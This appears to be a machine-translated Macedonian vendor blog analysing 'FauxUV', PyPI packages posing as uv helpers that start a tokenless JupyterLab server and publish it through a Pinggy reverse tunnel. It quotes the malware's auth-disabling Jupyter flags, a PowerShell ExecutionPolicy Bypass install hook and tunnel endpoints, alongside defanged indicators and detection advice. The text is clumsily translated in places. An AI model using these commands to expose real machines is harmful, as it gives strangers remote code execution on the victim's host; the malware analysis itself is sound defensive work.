FauxUV: Лажни PyPI uv пакети го отвораат Jupyter на интернет

FauxUV: лажни PyPI uv помагачи кои отвораат неавтентифициран Jupyter сервер на интернет.

TL; ДР

Група од PyPI пакети го позајми името на uv, брзиот, многу популарен менаџер на пакети Python базиран на Rust, за да се претстават како UV помагачи. Тие речиси и да немаат вистинска функционалност. Наместо тоа, тие носат Windows товар кој стои како Сервер JupyterLab со исклучена автентикација и, во подоцнежните верзии, го објавува на јавниот интернет преку обратен тунел.

Тоа е целата приказна во еден ред: име на доверлива алатка како мамка, а JupyterLab како мотор за далечинско извршување на код. Серверот Jupyter го извршува кодот што ќе го внесете во неebook ќелија; онаа лансирана со празен токен и поврзана со секој мрежен интерфејс е отворен интерпретер што може да го управува секој што може да стигне до портата.

Го следиме кластерот како Лажен УВДвата испитани пакети се moon-uv (0.0.1-0.0.16) и my-magic-uv-helper (0.0.1), објавено од истиот оператор и активно на PyPI во времето на анализата.

ЕкосистемPyPI
делот пакетиmoon-uv (0.0.1-0.0.16), my-magic-uv-helper (0.0.1)
Платформски таргетираниWindows
Основно однесувањеНеавтентициран сервер JupyterLab, објавен на интернет преку обратен тунел
Злоупотреба на легитимни алаткиув, ЈупитерЛаб, облачно разгорено, Пинги

Мамката: име на кое веќе му верувате

uv е една од најинсталираните алатки на Python во последните две години, па затоа е „помошник за“ uv„е пакет што развивачот го инсталира без двоумење. FauxUV го троши својот кредибилитет целосно на тоа име. Пакетите го обвиткуваат вистински uv инсталерот од Astral — URL-адресите во товарниот простор укажуваат на вистински, реномирани хостови — па така, со брз поглед не се гледа ништо освен доверливи референци. Ниеден од пакетите всушност не додава uv функционалност; името е целата маска.

JupyterLab како RCE мотор

Централниот дел на товарот е фрлач кој го стартува JupyterLab со отстранета секоја заштитна ограда:

jupyter server --with jupyterlab   --ip=0.0.0.0            # listen on every interface   --ServerApp.token=""    # no password, no token   --allow_origin='*'      # accept cross-origin connections   --disable_check_xsrf    # allow a remote browser/WebSocket to drive it

Секое знаме отстранува заштита, а испратеното писмо дури и ги анотира (на оригиналниот кинески): празниот токен „ги исклучува проверките на лозинките и токените — секој може да се поврзе.“ јупитер лабораторија е легитимен IDE за наука за податоци, но не еebook ќелијата извршува произволен код по дизајн. Конфигурирана на овој начин и врзана за 0.0.0.0, престанува да биде IDE и станува неавтентифицирана далечинска обвивка на домаќинот — не е потребна прилагодена бинарна датотека за малициозен софтвер, само мејнстрим алатка што покажува на погрешен начин.

Два потпорни делови го прават тоа достапно и повторувачко:

  • Тивок активатор за инсталација. Раните верзии го користат PowerShell со -ИзвршувањеПолитички бајпас директно од поставување.пир on пип инсталација, во позадина со потиснати грешки, па пипка изгледа нормално. Подоцнежните верзии го преместуваат истиот примитив во пип-ув алатка од командна линија — и целосно да го откажете автоматското стартување за време на инсталацијата.
  • Јавен обратен тунел. Сервер на 0.0.0.0 сè уште е достапен само за хостови кои можат да насочуваат кон машината. Вклучениот модул отвора [Pinggy](https://pinggy.io/) SSH обратен тунел што го препраќа локалниот порт на Jupyter кон јавна адреса, отстранувајќи го тоа ограничување. Испратената скрипта исто така носи - коментирана - алтернативна патека користејќи го Cloudflare-от облачно разгорено и netsh port-proxy до Linode IP адреса, документирање на истата цел преку различна инфраструктура.

Составете го пакетот: инсталирајте го пакетот, и Windows домаќинот завршува со стартување на JupyterLab без лозинка и објавување на отворениот интернет.

Како еволуираше FauxUV

Верзиите на FauxUV се испорачуваа брзо едно по друго, а точката за активирање на товарот се движеше преку нив - потсетник дека една означена верзија ретко ја раскажува целата приказна за линијата за пакети.

Фаза верзии Активирањето Што додава
Кука за инсталација moon-uv 0.0.1 – 0.0.3, my-magic-uv-helper 0.0.1 setup.py при инсталација на pip uv инсталација + PATH prepend
CLI-време на извршување moon-uv -0.0.5 0.0.13 pip-uv команда лансирачот JupyterLab без лозинка
Тунел moon-uv -0.0.14 0.0.16 pip-uv команда активен обратен тунел на Пинги

Имено, автоматското стартување за време на инсталацијата беше отстранети во подоцнежните, поспособни верзии - па така скенер е клучен само во животниот циклус hooks би ги оценил поновите изданија како помалку ризично, точно наназад.

Индикатори за компромис

Потврдено со читање на изворниот код на пакетот; крајните точки се означени коментира се присутни во датотеките, но не се извршуваат од анализираната верзија. Мрежните индикатори се дефангирани.

тип индикатор
Инсталирај команда powershell -ExecutionPolicy Bypass преземање на оригиналниот UV инсталер, во време на инсталација на pip
Знамиња на JupyterLab --ip=0.0.0.0 --ServerApp.token="" --allow_origin='*' --disable_check_xsrf
Обратен тунел (активен) free[.]pinggy[.]io:443 препраќање локално 127.0.0.1:8888
Домаќин на тунелот (коментиран) cloudflared tunnel --url hxxp://127[.]0[.]0[.]1:2718
IP (коментирано) 45[.]79[.]134[.]161 (Линода) преку netsh port-proxy
Упорност претставува %USERPROFILE%\.local\bin до корисникот PATH

Бихејвиорални сигнали за кои вреди да се предупреди, независно од овие точни низи: a пип инсталација што се мрести powershell -ExecutionPolicy Bypass; било кој јупитер лансирање комбинирање токен = "" со –ip=0.0.0.0; и излезен SSH до *.pinggy.io од развивач или CI машина.

Набљудувано однесување и потекло

Двата пакета делат автор и метод: име на доверлива алатка, затворање само за Windows, извршување во позадина без грешки и потпирање на реномирани алатки, така што со брз поглед се гледаат само реномирани URL-адреси. Изворот содржи коментари на кинески јазик што јасно ги опишуваат безбедносните ознаки; ние ги пријавуваме како видливи изјави во датотеката, а не како тврдење за мотив. allow_origin вредност и а colab.bat името на датотеката ги одразува неформалните работни процеси „сподели го моето локално извршување“ што циркулираат за Google Colab. Без разлика на потеклото, спакуваниот резултат е ист.

Влијание и насоки за бранителите

Кој е изложен на FauxUV зрачење. Windows програмери и CI извршувачи кои пип инсталација еден од овие пакети. JupyterLab без лозинка на 0.0.0.0 е далечинско извршување на код за секој што може да го достигне портот; тунелот го отстранува ограничувањето „кој може да го достигне“. Серверот работи како корисник што го инсталира, наследувајќи ги датотеките, токените и акредитивите во облакот на тој корисник.

Зошто е лесно да се пропушти. Секој мрежен стринг укажува на реномиран домаќин — Astral, JupyterLab, облачно разгорено, Пинги, Колаб. Нема бинарен код од малициозен софтвер за хеширање и нема замаглена точка за декодирање. Скенирањето базирано на репутација и потпис го потценуваат ова, поради што се поставува прашањето за однесувањето - Што прави машината при инсталирање на овој пакет? — е оној што го фаќа.

Упатство:

  • Третирајте го секое време на инсталација powershell -ExecutionPolicy Bypass како сигнал за разбивање на градбите, без разлика која URL адреса ќе ја преземе.
  • Вклучете го јупитер лансиран со празен токен и –ip=0.0.0.0; таа комбинација никогаш не треба да се појавува на работна станица или на изведувач.
  • Следете за излезни SSH до тунел провајдери (*.pinggy.io, *.trycloudflare.com) од развивачи и CI средини.
  • Инсталирајте uv од [неговиот официјален извор] (https://docs.astral.sh/uv/) и бидете скептични кон „помошните“ пакети од трети страни кои ја обвиткуваат алатката што е веќе тривијална за инсталирање.
  • Закачи и повторно прегледај зависности од надградба — линијата на пакети може да развива нови можности верзија по верзија.
алатки-за-анализа-на-композиции-на-sca-алатки
Дајте приоритет, санирајте и обезбедете ги вашите софтверски ризици
Добијте ја вашата бесплатна сметка.
Не е потребна кредитна картичка.

Обезбедете го вашиот развој и испорака на софтвер

со Xygeni Product Suite